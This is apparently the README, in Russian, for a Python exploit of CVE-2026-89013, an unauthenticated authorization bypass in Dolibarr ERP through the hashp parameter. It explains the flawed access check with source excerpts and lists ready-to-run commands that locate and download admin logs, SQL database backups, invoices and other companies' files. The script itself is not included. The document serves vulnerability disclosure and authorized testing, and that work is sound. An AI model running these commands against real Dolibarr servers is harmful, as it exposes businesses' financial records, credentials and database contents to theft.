
Python-эксплойт для CVE-2026-89013 — обход авторизации в Dolibarr hashp без аутентификации, позволяющий произвольное чтение файлов, с режимами check, list, hunt, read и download.
Эксплойт для CVE-2026-89013: document.php и viewimage.php принудительно устанавливают NOLOGIN, когда
присутствует параметр hashp. Внутреннее маркерное значение shared пропускает
разрешение share-токена, но переопределение контроля доступа всё равно срабатывает для любого
непустого значения и устанавливает $accessallowed = 1, отбрасывая результат
dol_check_secure_access_document(). Таким образом, неаутентифицированный запрос может
прочитать любой файл во всех деревьях modulepart: бизнес-документы, журналы администратора, SQL-
резервные копии (modulepart=systemtools), исходники пользовательских модулей (modulepart=packages),
а также другие multicompany-сущности через .
&entity=N| Затронуто | Dolibarr 23.0.4 – 24.0.0 |
| Исправлено | 24.0.1 |
| Предварительные условия | нет (без аутентификации) |
| Влияние | произвольное чтение файлов в управляемых каталогах Dolibarr |
// htdocs/document.php:189 (24.0.0) — 'shared' пропускает разрешение токена
if (!empty($hashp) && $hashp != 'shared') { ...resolve share token... }
// htdocs/document.php:292 — но любой hashp принудительно даёт доступ
if (!empty($hashp)) {
$accessallowed = 1;
$sqlprotectagainstexternals = '';
}
Регрессия коммита 5028dae981e (2026-08-12), впервые появившаяся в 23.0.4 и
24.0.0. Обход каталогов (../) санитизируется на стороне сервера — это обход
авторизации, а не path traversal.
# detection (safe, nonexistent canary file)
python3 CVE-2026-89013.py https://erp.local check
# readable modulepart trees
python3 CVE-2026-89013.py https://erp.local list
# hunt: dolibarr.log + SQL backups (generated filenames) + user vcards
python3 CVE-2026-89013.py https://erp.local hunt --db-name dolibarr --days 3 --save
# read / download
python3 CVE-2026-89013.py https://erp.local read logs/admin/logs/dolibarr.log
python3 CVE-2026-89013.py https://erp.local download systemtools/backup/backup.sql
python3 CVE-2026-89013.py https://erp.local read facture/FA2601-0001/FA2601-0001.pdf --entity 2
# PDFs via viewimage.php
python3 CVE-2026-89013.py https://erp.local viewimage facture/FA2601-0001/FA2601-0001.pdf
Только стандартная библиотека (Python 3.8+). Поддерживает --proxy, --insecure, --timeout.

Только для авторизованного тестирования и исследований. Используйте только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение.